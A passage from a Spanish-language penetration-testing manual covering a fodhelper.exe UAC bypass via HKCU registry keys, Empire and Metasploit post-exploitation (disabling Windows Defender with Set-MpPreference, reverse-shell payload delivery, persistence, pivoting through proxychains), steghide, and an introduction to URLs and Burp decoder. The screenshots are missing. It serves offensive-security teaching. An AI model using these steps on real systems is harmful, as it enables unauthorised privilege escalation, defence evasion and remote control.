A continuación hacemos click en Yes:

435
Tras ganar acceso

para filtrar la información:

436
Tras ganar acceso

Una vez aplicado el filtro, nos mostrará únicamente las acciones (Operations) realizadas por
el proceso [Link]:

437
Tras ganar acceso

Aún así vemos que son muchísimas las acciones que realiza el proceso. Estudiar todo un
proceso, se sale del objetivo de este manual pero, la idea es ir viendo las acciones que
hace el proceso y ver si podemos sacar partido de alguna de ellas. En este caso, como ya
está documentado, vamos ver cómo podemos aprovecharnos de ciertas acciones que
realiza el proceso [Link]. Para ello, vamos a fijarnos en la operaciones que realiza
en el registro de windows. Sobre todo aquellas que realiza sobre la claves en HKCU
(HKEY_CURRENT_USER) ya que podemos modificar estas claves (valores) del registro sin
tener permisos de administrador. En este caso, el investigador se fijo en los accesos a
claves del registro de windows que no existen. Específicamente encontró esta clave:

HKCU\Software\Classes\ms-settings\shell\Open\Command

que si abrimos el registro de windows:

438
Tras ganar acceso

(aceptamos que se abra con permisos de administrador):

439
Tras ganar acceso

podremos comprobar que no existe:

Si creamos esta clave en el registro. Por ejemplo, podemos crearla desde la línea de
comandos:

Usando el comando reg con la opción add:

440
Tras ganar acceso

Pulsamos F5 para refrescar el registro y podremos ver que la clave se ha añadido al


registro:

Abrimos nuevamente Process Monitor y ejecutamos [Link] de nuevo, veremos que


ahora, tras encontrar la clave que hemos creado, intenta encontrar el valor DelegateExecute
en la clave:

HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute

pero no la encuentra (NAME NOT FOUND):

repetimos el mismo proceso, la creamos el valor desde la línea de comandos pasandole la


opción /v para indicarle el nombre del valor:

Comprobamos nuevamente que se ha creado en el registro:

441
Tras ganar acceso

y volvemos a ejecutar Process Monitor y después [Link]. Ahora vemos que, tras
encontrar el valor DelegateExecute intenta leer el valor por defecto (default) en la clave:

HKCU\Software\Classes\ms-settings\shell\open\command

Luego, si modificamos este valor por defecto (default), nos ejecutará cualquier comando
que le indiquemos. Por ejemplo, vamos a indicar que ejecute powershell. Para ello,
nuevamente desde la línea de comandos, ejecutamos el comando reg pasandole la opción
/d para indicarle los datos del valor (Al ser el valor por defecto no necesitamos usar la
opción /v):

Comprobamos que el valor se ha cambiado en el registro:

442
Tras ganar acceso

Y ahora si ejecutamos [Link] haciendo doble click en el archivo:

se abrirá una sesión de powershell con privilegios de administrador:

443
Tras ganar acceso

Como podeis observar, para escalar privilegios, sólo sería necesario ejecutar los comandos
reg para añadir la clave del registro, añadir el valor DelegateExecute en la clave y cambiar
los datos por defecto en el valor Default. Estos cambios los podemos realizar como usuarios
porque la clave que modificamos es HKCU. Una vez comprendido el proceso de forma
manual, vamos a ver como hacerlo de forma automática con el framework empire.

Usando el fichero [Link] para escalar privilegios


desde el módulo bypassuac_fodhelper de empire
Ahora que hemos visto como hacer la escalación de forma manual, veremos que sencillo es
hacerlo usando empire. Para ello vamos a conectar la máquina windows 10 comprometida
con empire. La instalación del framework empire y como crear una conexión simple lo vimos
en el capítulo anterior. Para ello, desde Kali Linux, ejecutamos el framework empire:

Accedemos a las opciones para crear un listener (servicio a la escucha) con el comando
listeners:

444
Tras ganar acceso

Vamos a crear un listener (servicio) http con el comando uselistener.

uselistener http

Le cambiamos el nombre a http-no-priv:

Dejamos las opciones por defecto y lo ejecutamos con el comando execute:

Volvemos al menú listeners usando el comando listeners ya que así podremos ver que el
listener que hemos creado funciona correctamente:

y creamos el launcher para nuestro listener (servicio) usando el comando:

launcher powershell http-no-priv

445
Tras ganar acceso

A continuación copiamos el script de powershell:

y nos vamos a la máquina de windows 10. Abrimos el intérprete de comandos en windows


10. En este caso lo abrimos como usuarios, tecleamos cmd y hacemos click:

446
Tras ganar acceso

Pegamos el script:

447
Tras ganar acceso

y lo ejecutamos presionado intro. Tras ejecutarlo, veremos que la máquina con windows 10
ha sido comprometida porque se nos ha creado un agent (máquina comprometida) en
Empire:

Presionamos intro para que vuelva a aparecer el prompt y tecleamos agents para ver la
máquina que hemos comprometido y acceder al menú de los agents

Cambiamos el nombre al agent utilizando el comando rename por uno que nos resulte más
fácil de recordar:

448
Tras ganar acceso

Ya podemos interactuar con el agent (maquina comprometida) utilizando el comando


interact seguido del nombre del agente:

Como no tenemos privilegios en la máquina comprometida, si intentamos ejecutar algún


comando que requiera permisos de administrador como mimikatz, obtendremos el siguiente
error:

Para escalar privilegios podemos usar alguno de los modules de privesc/bypassuac. Pero
antes de poder ejecutarlos, debemos crear un nuevo listener (servicio) a la escucha para
recibir la conexión de la sesión con privilegios. Para ello, vamos al menú listeners:

Creamos un nuevo listener (servicio) http:

le damos un nombre:

le cambiamos el puerto porque ya tenemos un servicio (listener) en el puerto 80. Por


ejemplo, podemos usar el puerto 81:

Nos aseguramos que el host sea correcto fijandolo manualmente:

lo ejecutamos:

449
Tras ganar acceso

y comprobamos que nuestro listener está activo:

Ahora si que podemos volver al menú de agents (máquinas comprometidas):

e interactuar con nuestra máquina comprometida:

Para escalar privilegios, vamos a aprovecharnos del fichero [Link] usando el modulo
privesc/bypassuac_fodhelper. Para ello usamos el comando:

usemodule privesc/bypassuac_fodhelper

ejecutamos el comando options para ver las opciones que son necesarias:

450
Tras ganar acceso

En este caso, sólo necesitamos indicar el listener (servicio) a donde queremos que se
conecte la sesión con privilegios. Para indicarle el listener ejecutamos:

set Listener http-con-priv

y lo ejecutamos con el comando execute:

Aunque no sea opsec safe, aceptamos ejecutarlo y se creará una sesión con privilegios:

Para ver el nuevo agent con privilegios, tecleamos el comando agents:

451
Tras ganar acceso

Le damos al agent (máquina comprometida) un nombre más sencillo de recordar usando el


comando rename:

e interactuamos con la nueva sesión con privilegios usando el comando interact:

podemos comprobar que ahora si tenemos permisos de administrador ejecutando el


comando mimikatz:

ahora que tenemos privilegios de administrador, podemos seguir escalando para tener el
máximo nivel de privilegios. Los de la cuenta AUTHORITY/SYSTEM. Para ello usamos el
modulo privesc/getsystem:

usemodule privesc/getsystem

Si ejecutamos options:

452
Tras ganar acceso

veremos que no nos hace falta completar ninguna opción para ejecutarlo. Por lo que
simplemente, lo ejecutamos:

Una vez que tengamos el máximo nivel de privilegios en el agent (máquina comprometida).
Podemos usar el comando back para volver a interactuar con el agent (sesión en la
máquina comprometida):

y confirmar el nivel de privilegios tenemos consultando el usuario que tenemos en la


máquina con el comando whoami:

453
Tras ganar acceso

Ejecutar programas

Ejecutando comandos tras ganar acceso desde empire


Tras escalar privilegios, vamos a ver algunos comandos que podemos ejecutar para o bien
aportar evidencias del acceso a la máquina o bien seguir realizando acciones en la fase de
post-explotation. Uno de los comandos que podemos utilizar para tener una evidencia que
hemos estado en la máquina es hacer una captura de pantalla. Para ello, podemos usar el
comando sc:

Veremos que nos guarda en el directorio downloads del framework empire. Para visualizarla
accedemos al directorio donde tengamos descargado empire:

y desde allí, ejecutamos el comando display pasandole como argumento la ruta donde está
la imagen:

para visualizarla:

454
Tras ganar acceso

También podemos obtener información del sistema operativo con el comando sysinfo:

Transferiendo la sesión de empire a metasploit


Metasploit es un framework que nos puede ayudar mucho en la fase de post-explotación.
Podemos crear una sesion en metasploit desde empire. La forma en que lo vamos a hacer
es descargar un payload y ejecutarlo. Como windows defender no nos va a permitir realizar
esta acción, primero debemos desactivarlo. Para ello, utilizamos el comando shell para
ejecutar comandos en el agent (máquina comprometida) y utilizamos el cmdlet (comando)
Set-MpPreference de powershell pasandole como argumento -DisableRealtimeMonitoring:

shell powershell Set-MpPreference -DisableRealtimeMonitoring 1

455
Tras ganar acceso

Una vez deshabilitado windows defender, hacemos click en el icono metasploit:

para iniciarlo:

Vamos a configurar un script para hacer el delivery de meterpreter y crear un servicio a la


escucha para recibir la conexión:

456
Tras ganar acceso

use exploit/multi/script/web_delivery

Miramos las opciones que debemos configurar con el comando options:

Debemos configurar:

payload Para indicar el payload a utilizar. En este caso usaremos


windows/meterpreter/reverse_tcp
SRVHOST Para indicar el host desde la que se lanzará el payload. En este caso la IP
de Kali Linux
SRVPORT Para indicar el puerto en el que se levantará el servicio web desde el que se
servirá el payload
URIPATH La URI desde la que se servirá el payload
LHOST Para indicar el host al que debe conectarse el payload una vez se ejecute en
windows 10

457
Tras ganar acceso

LPORT Para indicar el puerto al que debe conectarse el payload una vez se ejecute en
windows 10
target Para indicarle en que lenguaje de scripting queremos el payload. En este caso al
ser windows 10, usaremos powershell

Comenzamos indicando el payload a utilizar windows/meterpreter/reverse_tcp:

Configuramos el host desde la que se lanzará el payload:

Indicamos el puerto en el que se levantará el servicio web desde el que se servirá el


payload:

Continuamos con la URI desde la que se servirá el payload:

Indicamos host al que debe conectarse el payload una vez se ejecute en windows 10:

y el puerto:

finalmente elegimos powershell como lenguaje de scripting para el payload:

Lo ejecutamos con el comando run:

458
Tras ganar acceso

Seleccionamos la URL y después hacemos click con el botón derecho del ratón sobre ella
desplegar el menú. Seleccionamos Copy para copiarla:

Esta es la URL desde donde se servirá el payload. Volvemos a interactuar con el agent y
usaremos el module code_execution/invoke_metasploitpayload:

Ejecutamos el comando options para ver qué datos necesitamos aportar al módulo:

Vemos que sólo es necesario aportar la URL que ha generado metasploit. Le indicamos la
URL:

459
Tras ganar acceso

Lo ejecutamos con el comando execute:

Veremos que se nos genera una nueva sesión en metasploit:

Aunque lo ideal es que la sesión se crease con permisos AUTHORITY/SYSTEM, la sesión


se crea con permisos de Administrador ya que escalamos privilegios. Pulsamos intro y
ejecutamos el comando sessions pasandole la opción -l para ver las sesiones:

Vemos que el Id de la sesión es 1. Usaremos esta sesión para interactuar con la máquina.
Para ello, volvemos a usar el comando sessions pasandole como argumento el Id de la
sesión:

Ejecutando comandos desde metasploit


Como la sesión se crea con permisos de administrator, volvemos a escalar privilegios para
ser AUTHORITY/SYSTEM usando el comando getsystem de meterpreter:

Al igual que ocurría con empire, podemos usar el comando sysinfo para obtener información
del sistema:

460
Tras ganar acceso

Podemos usar pwd para saber el directorio en el que nos encontramos:

También podemos hacer capturas de pantalla con el comando screenshot:

Podemos usar el comando display desde el interprete de comandos:

para ver la imagen:

461
Tras ganar acceso

Ganando persistencia con el script persistence de


metasploit
Podemos ejecutar el script persistence de metasploit para obtener persistencia en la
máquina comprometida. Para ver todas las opciones disponibles del script usamos el
comando:

run persistence -h

En este caso le vamos a pasar las siguientes opciones:

-r {host} para indicarle el host al que queremos que se conecte (nuestra máquina de
Kali Linux)
-p {puerto} para indicarle a qué puerto queremos que inicie la conexión
-U para indicarle que queremos que se conecte cuando el usuario inicie sesión

Pivoting con metasploit


Una vez comprometemos un equipo, podemos obtener acceso a otras redes internas que
acceso ese equipo. Ejecutamos el comando ipconfig para ver las redes disponibles:

Entre los resultados, vemos la red a la que hemos ganado acceso:

462
Tras ganar acceso

y vemos otra red:

Vamos a acceder a esta red para descubrir nuevos equipos que esten accesibles desde
esta red. Para ello, ejecutamos el script autoroute de metasploit con la opción -s pasandole
como argumento la red a la que queremos pivotar:

run autoroute -s [Link]/24

Comprobamos que se ha añadido correctamente a la tabla de enrutamiento usando el


comando:

run autoroute -p

Es decir, ahora tenemos acceso a esta red usando la sesión 1 en metasploit. Vamos a ver
un ejemplo. Ponemos la sesión en segundo plano usando el comando background:

Recordar que podemos ver las sesiones en segundo plano usando el comando sessions y
pasandole la opción -l:

463
Tras ganar acceso

sessions -l

Por ejemplo, vamos a usar un scanner de metasploit para descubrir los servicios ftp y web
que están activos en la nueva red. Para ello, podemos usar el scanner:

use auxiliary/scanner/portscan/tcp

Utilizamos el comando show options para ver qué opciones tenemos que pasarle al
scanner:

En este caso, le vamos a indicar la red que queremos escanear [Link]/24:

y los puertos que queremos. en este caso el 21 y el 80:

finalmente, lo ejecutamos para escanear la red en busca de servicios ftp y web:

El escáner es lento pero, a medida que vaya encontrando equipos en esa red con servicios
en los puertos 21 y 80, nos los irá mostrando:

464
Tras ganar acceso

Una vez finalizado el escaneo, nos informará de todas servicios ftp y http que ha encontrado
en la nueva red:

Pivoting con proxychains levantando un servidor proxy


con metasploit
El problema de hacer pivoting del modo anterior es que sólo podemos usar los comandos
de meterpreter para interactuar con las máquinas y servicios que encontremos en la nueva
red. Para poder usar cualquier tipo de programa, como por ejemplo nmap, podemos usar
metasploit para levantar un servidor proxy que nos lleve a esta red y usar el programa
proxychains para configurarlo. Para levantar un servidor proxy con metasploit, usaremos el
módulo auxiliary/server/socks4a:

use auxiliary/server/socks4a

Como siempre, utilizamos show options para ver las opciones que tenemos que completar.
En este caso las dejamos por defecto:

y lo ejecutamos:

465
Tras ganar acceso

Una vez levantado el proxy, editamos el fichero de configuración de proxychains


(/etc/[Link]) para añadir el proxy. En este caso usamos el editor vim pra editar el
fichero:

Comentamos la línea de tor y añadimos nuestro proxy:

Una vez añadido el proxy, ya podemos usar cualquier programa, como nmap, a través de
proxychains para llegar a los equipos y servicios de la nueva red:

Esteganografía

466
Tras ganar acceso

La esteganografía estudía métodos y técnicas para ocultar información o archivos, como


imagenes o videos, en otros archivos. Por ejemplo, esconder mensajes en ficheros de audio
o en imágenes.

Esteganografía con steghide


Steghide es un programa que podemos usar en Kali Linux para esconder un texto en una
imagen. Para usarlo, primero tenemos que instalarlo:

Una vez instalado, descargamos buscamos una imagen donde esconder el texto. En este
caso yo descargo una imagen pública y la llamo [Link]:

wget [Link] -O [Link]

Ahora creamos un fichero de texto con el mensaje a esconder. En este redirecciono la


salida del comando echo a un fichero:

echo Mensaje para ocultar en la imagen > [Link]

Si ejecutamos ls, veremos los 2 ficheros:

467
Tras ganar acceso

Para ocultar el texto en la imagen, ejecutamos el comando steghide con las siguientes
opciones:

embed => para indicar que queremos incluir un fichero dentro de otro
-ef {archivoDeTextoAOcultar} => para indicar el archivo de texto que queremos
ocultar
-cv {arhivoDondeSeOcultará} => para indicar el fichero donde ocultaremos el texto

Como queremos ocultar el fichero [Link] en la imagen [Link]:

steghide embed -ef [Link] -cf [Link]

Tras ejecutar el comando, nos solicitará que metamos una contraseña y, tras introducirla,
que la confirmemos:

Tras confirmarla, nos indicará que se ha ocultado con éxito:

Borramos el fichero [Link]:

Ahora sólo nos queda la imagen:

Si visualizamos la imagen:

no notaremos ningún cambio:

468
Tras ganar acceso

Para extraer el mensaje oculto de la imagen, ejecutamos el comando steghide con las
siguientes opciones:

extract => para indicar que queremos extraer un fichero de la imagen


-sf {archivoQueContieneElFicheroOcultado} => para indicar el archivo de texto que
contiene el fichero ocultado

steghide extract -sf [Link]

Tras meter la contraseña, veremos que el fichero oculto se extrae de la imagen:

y lo podremos ver en el directorio:

Esteganografía usando servicios online


Aunque no es aconsejable usarlos, existen muchos servicios web que me van a permitir
realizar esteganografía de un modo más sencillo. Vamos a ver como usar uno de ellos.
Accedemos a Mobile Fish y desplazamos el cursor hasta encontrar la parte que nos permite
esconder texto en una imagen:

469
Tras ganar acceso

Pulsamos el botón Seleccionar archivo para elegir la imágen:

Tras elegir la imagen, pulsamos el botón Open:

470
Tras ganar acceso

Después tecleamos el texto que queramos ocultar y metemos el código de acceso que nos
indica en el recuadro negro de letras blancas:

471
Tras ganar acceso

Finalmente, pulsamos el enlace Download file para descargar el fichero:

472
Tras ganar acceso

Veremos que se descarga el la imágen con el fichero oculto:

Para extraer el mensaje, podemos utilizar nuevamente la web de mobilefish.

473
Web

Web
Auditorias a entornos web

Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.

1. Introducción
Breve introducción informal al modelo cliente-servidor
URI y URL
Breve introducción informal sobre las URL
Carácteres reservados y url encoding (percent encoding)
Burp decoder
Breve introducción informal unicode y su codificación en las URLs
Breve introducción informal a Internationalized Resource Identifiers (IRI)
Breve introducción informal a Internationalized Domain Names (IDN) y el sistema
punycode

2. Breve introducción informal al protocolo HTTP


Utilizando telnet para realizar peticiones HTTP
Utilizando openssl para realizar peticiones HTTPS
Utilizando cURL para realizar peticiones HTTP o HTTPS

3. Frontend - El lado del cliente


Breve introducción informal a HTML
Breve introducción informal a la estructura de un documento HTML
Breve introducción informal a CSS
Breve introducción informal a ECMAScript (JavaScript)
Creando el frontend de una shell muy sencilla

4. Backend - El lado del servidor


Breve introducción práctica a PHP
Otros lenguajes del lado del servidor

5. Guias para auditar applicaciones web


OWASP Testing Guide
Guía informal casera

474
Web

6. Ataques conocidos a aplicaciones y servidores web


HTML Injection
Usando html injection para realizar un defacing
Cross Site Scripting (XSS)
Reflejado (Reflected)
Almacenado (Stored)
Aprovechando un XSS para robar una sessión (session hijacking)
Cross Site Request Forgery (CSRF)
Command injection
Ejecutando comandos en DVWA para conseguir acceso remoto
CVE-2014-6271 Shellsock
XML Entities
Contraseñas por defecto en el panel de administración de un servidor Tomcat
Validación de archivos que se suben al servidor

Referencias usadas
1. Páginas web
OWASP Testing Guide
Homograph attack - Krebonsecurity
MDN - Generalidades del protocolo HTTP
RFC 3987 - Internationalized Resource Identifiers (IRIs)
RFC 3986 - Uniform Resource Identifier (URI): Generic Syntax
RFC 3492 - Punycode: A Bootstring encoding of Unicode for Internationalized
Domain Names in Applications (IDNA)
2. Libros
Tangled Web - A Guide to Securing Modern Web Applications
3. Máquinas virtuales
Pentesterlab - Shellsock
Pentesterlab - CVE-2017-5638 RCE Structs

Breve introducción informal al modelo cliente-servidor


La mayoría de servicios en internet funcionan de acuerdo al modelo cliente-servidor. Este
modelo lo forman 2 componentes principales:

cliente (demanda y consume servicios)


servidor (da servicio a los clientes)

475
Web

Para extrapolarlo a la vida real, pensemos en una cafetería. En la cafetería el camarero


sería el servidor y una persona que entre a tomar un café sería el cliente. La persona pide
un café al camarero y el camarero se lo sirve. Si hay muchas personas por cada camarero,
probablemente sintamos que se degrada el servicio. Y si hay muchos camareros y pocos
clientes, probablemente el servicio no sea rentable. Hay servicios más complicados. Por
ejemplo, veamos ahora un bar de copas. En el bar de copas la persona solicita un bebida
alcohólica y el camarero antes de servirla tiene que asegurarse que la persona tiene la edad
legal para consumirla verificando su documento de identidad. Hemos puesto de ejemplo un
bar, pero existen muchos tipos de servicios, por ejemplo, correos es un servicio en el que
una persona (cliente) puede escribir una carta y solicitar que se envié certificada al servicio
de correos. Telepizza es otro servicio a donde una persona (cliente) puede pedir una pizza
para que Telepizza (servicio) se la lleve a casa.

En internet, funcionan las cosas del mismo modo, sólo que los servicios que solicitamos son
muchas veces diferentes a los que usamos en la vida real. Por ejemplo, en internet, la
persona solicita enviar un correo electrónico o ver una página web. Este tema se va a
centrar en servicios web. En los servicios web se usa el protocolo HTTP para pedir recursos
a los servidores.

URI y URL
Aunque muchas veces los términos URI y URL se utilizan en el mismo contexto,, en el RFC
3896 se aclaran las diferencias entre ambos términos:

Y aunque a nivel práctico, en mi opinión, no tiene mucha importancia si los intercambiamos


con el fin que el mensaje se entienda mejor, vamos a hacer una introducción informal a
ambos términos. Una URI (Uniform Resource Identifier) es una cadena de carácteres que
identifica un recurso de la red de forma unívoca. Vamos a ver algunos ejemplos. La
siguiente URI:

/[Link]

identifica unívocamente el recurso (página web) al que quiero acceder. En este caso quiero
acceder a la página [Link] que se encuentra en el directorio principal del
servidor donde estoy. Otro ejemplo de URI es:

[Link]

476
Web

Este ejemplo, aparte de ser URI, es también una URL, porque aparte de indicar el recurso
al que quiero acceder, me indica donde localizarlo. En este caso el recurso que busco esta
en el dominio, [Link], y debo acceder a él usando el protocolo http. Es decir, las URL
son un subconjunto de las URI que me indican como localizar el recurso. Con la información
que nos aportan las URL podemos saber si [Link] es el que estoy buscando
ya que, por ejemplo, podríamos un recurso con el mismo nombre en un host:

[Link]

y otro con el mismo nombre en otro:

[Link]

Si sólo nos indican la URI /[Link] tenemos que saber el host en donde
estamos. Si la URI es una URL, sabremos donde localizar el recurso. Toda URL es una URI
pero no toda URI es una URL.

Breve introducción informal sobre las URL


Son las direcciones que tecleamos en el navegador de internet para acceder a una web
como [Link] o descargar un archivo. Las URL (Uniform Resource Locator) es
el lugar a donde se piden las cosas en el mundo web. Es la interfaz de usuario más
importante que tiene el navegador y uno de los primeros indicadores de seguridad que
podemos verificar cuando trabajamos con aplicaciones web. Existen dos tipos de URLs:

fully qualified absolute URL como, por ejemplo, [Link] o


[Link]
relative URL como, por ejemplo, ../imagenes/[Link] o
contacta_con_nosotros.html

Como podemos ver una relative URL omite cierta información como el protocolo de acceso
(http) o la ruta completa al recurso que queremos acceder. Vamos a ver primero la
estructura de una URL completa (fully qualified absolute URL):

Las partes que se marcan en color verde son opcionales. Lo que significa que pueden estar
presentes o no. Los componentes son:

477
Web

Es una palabra seguida de dos puntos que nos indica el protocolo que usaremos para
acceder a la página web o archivo que queramos. Esta palabra (scheme) no distingue entre
mayúsculas o minúsculas, luego nos da igual escribir hTTp: o http:. Algunos schemes son
muy conocidos (http:, ftp:, https:) y otros no tanto (data:, javascript:)

Indicador de jerarquía. La doble barra (//), también conocida como indicador de jeraquía, se
incluye después de los 2 puntos. Hay URLs que no son completas que no lo llevan. Por
ejemplo las que utilizamos para enlazar un correo electrónico:

[Link]

Esta es parte es opcional y muy poco recomendable de usar. Sirve para indicar las
credenciales que se usan para autenticarse ante servicios que usan autenticación básica.
Ya veremos un cuando hablemos del protocolo HTTP. Esta sección de la URL tiene 4
partes:

usuario
:
contraseña
@

un ejemplo de autenticación sería: [Link]

Para la parte del host podemos indicar:

un nombre de dominio* como [Link]. (Nuevamente, no se distingue entre


mayúsculas y minúsculas)
una dirección IPv4 como [Link]
una dirección IPv6 entre corchetes como [Link]

El RFC 3896 indica el formato que debe usarse para cada tipo de host. Por ejemplo, las
reglas para una dirección IPv4 es que se tiene que representar como una secuencia de 4
números decimales, en un rango de 0 a 255, separados por un punto:

478
Web

Sin embargo, debido a que el motor de muchos navegadores están implementados en el


lenguaje C y atendiendo a que muchas de las funciones de las librerias standard del
lenguaje C son más permisivas que el RFC 3896, podemos encontrarnos con que los
navegadores también aceptan direcciones IPv4 que no sigan el formato especificado en el
RFC 3896. Por ejemplo, se pueden expresar direcciones IPv4 en valores hexadecimales u
octales. Es decir, si tomamos la dirección local ([Link]), las siguientes son host válidos:

[Link]
[Link]
[Link]

Hagamos la prueba. Iniciemos el servidor web apache en nuestra máquina Kali Linux:

systemctl start apache2

Después abramos el navegador firefox y metemos la URL [Link]

Ahora si pulsamos Intro nos llevará a la dirección local donde podremos ver la pagina por
defecto del servidor apache:

479
Web

Lo mismo ocurre con los nombres de dominio que deberían seguir la especificación del RFC
1034:

pero en la práctica no siempre se cumple.

Otro componente opcional es indicarle el número de puerto a la URL. Si no lo indicamos,


por defecto usará:

el puerto 80 para http


el puerto 443 para https

Pero podemos usar el puerto que queramos. Veamos un ejemplo. Python tiene un módulo
que se sirve para levantar un servidor web en la carpeta que estemos usando actualmente.
Para levantarlo usamos el comando:

python -m SimpleHTTPServer

Como vemos se levanta un servicio web en el puerto 8000. Podemos acceder nuevamente
al servicio web usando firefox:

480
Web

El siguiente componente de la URL es la ruta (path) que utilizamos para acceder a un


archivo o página web. La especificación de las rutas esta basada en la especificación de
directorios que usan los sistemas operativos derivados de UNIX. Es decir que, al igual que
ocurre en los sistemas operativos GNU/Linux, las rutas /../ y /./ también se resuelven. Un
ejemplo de ruta es /[Link]:

[Link]

o simplemente / para que nos muestre la página por defecto:

El siguiente componente opcional de la URL se llama query string. Esta sección se usa para
pasar parámetros (variables) y valores que luego sean interpretados por el servidor. El
query string comienza con el símbolo ?. Al símbolo ? le siguen el nombre de cada
parámetro (variable) seguida de un símbolo igual y su valor. Por ejemplo ?edad=30:

[Link]

edad es el parámetro y 30 el valor. Podemos pasar varios parámetros (variables)


separándolos con el símbolo &:

[Link]

481
Web

El último componente opcional de una URL es el identicador de fragmento. En este caso es


un valor que podemos pasar. A diferencia de lo que ocurre con el query string que cuyos
valores están pensados para que los interprete el navegador, el fragment identifier está
pensado para que lo interprete el navegador:

[Link]

Las URL están descritas en el RFC 1738. Para ampliar conocimientos se recomienda
consultar el RFC 3896 que describe el sintaxis de las URI y el siguiente hilo en stack
overflow.

Carácteres reservados y url encoding


Como hemos visto en el formato de la URLs, hay ciertos carácteres, como ? o #, que tienen
una función específica. Estos carácteres se denominan carácteres reservados y, entre
otros, están:

:/?#[]@+

Alguna de estás funcionalidades ya las hemos visto y otras no. Por repasar algunas:

? indica que empieza el query string


+ indica un espacio
# indica el comienzo del fragment id
@ sirve para separar la parte del host de la parte de credenciales
: se utilizan como carácter para finalizar el scheme y para separar usuario y contraseña
/ se utiliza para separar directorios

Los navegadores de internet tienen que interpretar la URL que el usuario teclea en el
navegador y, en ocasiones, el usuario necesita hacer uso de estos carácteres reservados
para realizar busquedas en internet. Por ejemplo, el usuario puede pasar un email valor de
un parámetro (variable) del query string. El email contiene un carácter reservado (@):

[Link]

482
Web

Normalmente, la solución que aplica el navegador en estos casos es codificar los símbolos
del usuario usando el método URL encoding o también llamado Percent encoding. URL
encoding consiste en sustituir el carácter que queramos, por un símbolo de porcentaje (%)
seguido de 2 dígitos hexadecimales que representen el valor ASCII del carácter que
queramos sustituir. Por ejemplo, si quisiéramos sustituir una barra / podríamos codificarlo
como %2f. Aunque sólo los carácteres deben ser sustituidos, nosotros podemos sustituir los
carácteres que queramos. Por ejemplo, la letra e tiene el código ASCII hexadecimal 65. Por
lo que podemos codificar la letra e como %65. Una vez codificada, podemos sustituir la letra
e por %65 en la URL. Veamos un ejemplo. Si intentamos acceder a:

[Link]

Vemos que correctamente se interpreta la URL y nos lleva a:

[Link]

Para tener una lista completa de los carácteres podemos consultar una tabla ASCII.

483
Web

O usar una página web para codificar los carácteres ascii a hexadecimal como rapidtables:

484
Web

Burp decoder
Burp suite también puede ayudarnos a codificar y descodificar las URLS. Cuando hablamos
de codificar nos estamos refieriendo a pasar un número de decimal a hexadecimal o un
código ascii (que no deja de ser un número) a la letra que representa ese número. Ya
hemos visto otras funcionalidades de burp anteriormente, vamos a centrarnos ahora en
burp decoder. Para ello, ejecutamos burp pulsando el icono:

Pulsamos el botón Next para continuar:

485
Web

y finalmente el botón Start Burp para iniciarlo:

Una vez iniciado burp, pulsamos la pestaña Decoder:

Burp decoder, nos va a permitir codificar información (carácteres, texto, numeros,...) de un


formato a otro. Veamos unos ejemplos. Codifiquemos un texto a hexadecimal. Para ello
tecleamos el texto:

486
Web

Veremos que en la parte de abajo directamente, por defecto, lo muestra en hexadecimal.


Nosotros queremos convertir el texto el valor hexádecimal de los caracteres en la tabla
ASCII para ello pulsamos en el menú Encode as ... y seleccionamos ASCII hex de las
opciones disponibles:

veremos que nuestro texto se ha convertido en los códigos hexadecimales ASCII


correspondientes a cada letra de la frase:

También podemos codificar una URL con varios propósitos como ocultarla o saltarnos algún
mecanismo de seguridad como veremos más adelante. Cuando codifiquemos una URL
debemos excluir la parte del scheme ya que algunos navegadores no lo interpretan bien.
Para pasar un nombre de dominio a formato URL encoding (Percent Encoding), tecleamos
el nombre de dominio:

487
Web

y seleccionamos URL el menú desplegable Encode as ...:

veremos que el nombre de dominio ha quedado convertido en el formato URL encoding:

Para comprobar que la conversión es correcta, podemos teclear el scheme y despues


copiar el nombre de dominio convertido a Percent encoding en la barra de cualquier
navegador:

y pulsar Intro para que nos muestre la página asociada al dominio:

488
Web

También podemos usar burp decoder para decodificar una URL que, por ejemplo, nos
llegue en un correo de phising. En este caso copiamos la URL en burp decoder:

[Link]
%52%65%6c%61%79%53%74%61%74%65%3d%68%74%74%70%3a%2f%2f%45%76%6
9%6c%57%65%62%73%69%74%65%2e%63%6f%6d

A continuación desplegamos el menú Decode as ... y seleccionamos URL:

Veremos que ahora podemos ver la URL descodificada:

489
Web

En este caso vemos que se estaría intentando redireccionar al usuari una página web
distinta a la que el piensa que esta accediendo. Aparte URL Encoding (Percent encoding) o
calcular el código hexadecimal de un carácter de la tabla ASCII, burp decoder puede
codificar/descodificar a otros sistemas de numeración como base64. Por ejemplo, en
autenticación básica que veremos más adelante y que no debe usarse, el usuario y la
contraseña se pasan en base64. El proceso siempre es el mismo. Tecleamos lo que
queramos codificar en burp decoder:

IEUSer@Passw0rd!

seleccionamos Base64 del menú Encode as ...

y vemos el resultado:

490
Web

También incluso nos permite calcular hashes. Por ejemplo, para calcular el valor hash md5
de la palabra password. Tecleamos la palabra password:

Seleccionamos MD5 en el menú desplegable Hash ...:

y veremos el valor hash md5 de la palabra password:

5f4dcc3b5aa765d61d8327deb882cf99

491
Web

Breve introducción informal unicode y su codificación en


las URLs
Debido a que muchos lenguajes que usan alrededor del mundo exceden el número de
símbolos que pueden representar con una tabla ASCII, se fueron creando tablas
alternativas que permitiesen codificar símbolos de idiomas como el árabe, ruso, chino,
japonés o español. El problema de estas tablas o sistemas de codificación es que no eran
compatibles unos con otros, lo cuál hacía difícil la labor de compartir información. Este
problema de incompatibilidades dio lugar a la creación de Unicode, un sistema de símbolos
universal que permite codificar cualquier símbolo de cualquier lenguaje. Una de las
implementaciones del sistema Unicode para estandarizar su uso fue Unicode
Transformation Format - 8 (UTF-8). UTF-8 es totalmente compatible con la especificación
ASCII por lo que podemos representar cualquier carácter del modo que hemos visto
anteriormente y ademas nos permite representar cualquier, no sólo símbolos de otros
lenguajes, sino otros símbolos como iconos, usando códigos de una longitud variable en un
rango de 1 byte (8-bits) a 4 bytes (32-bits).

Breve introducción informal a Internationalized Resource


Identifiers (IRI)
El estándar IRI definido en el RFC 3897 amplía la especifícación de las URI y permite
representar símbolos UTF-8 en las URLs. De esta forma podremos representar carácteres
que necesiten más de un byte (8-bits) para ser representados. Veamos algunos ejemplos.
Para ello, vamos a ayudarnos de la siguiente página web:

[Link]

en donde se nos indica que códigos debemos usar para representar estos caracteres.
Accedemos a la página:

492
Web

Por ejemplo, seleccionamos los emoticonos en el menú desplegable:

seleccionamos un emoticono que nos guste y copiamos los números hexadecimales:

493
Web

Ponemos un porcentaje (%) delante de los números hexadecimals y por ejemplo los
usamos para realizar una busqueda en google:

[Link]

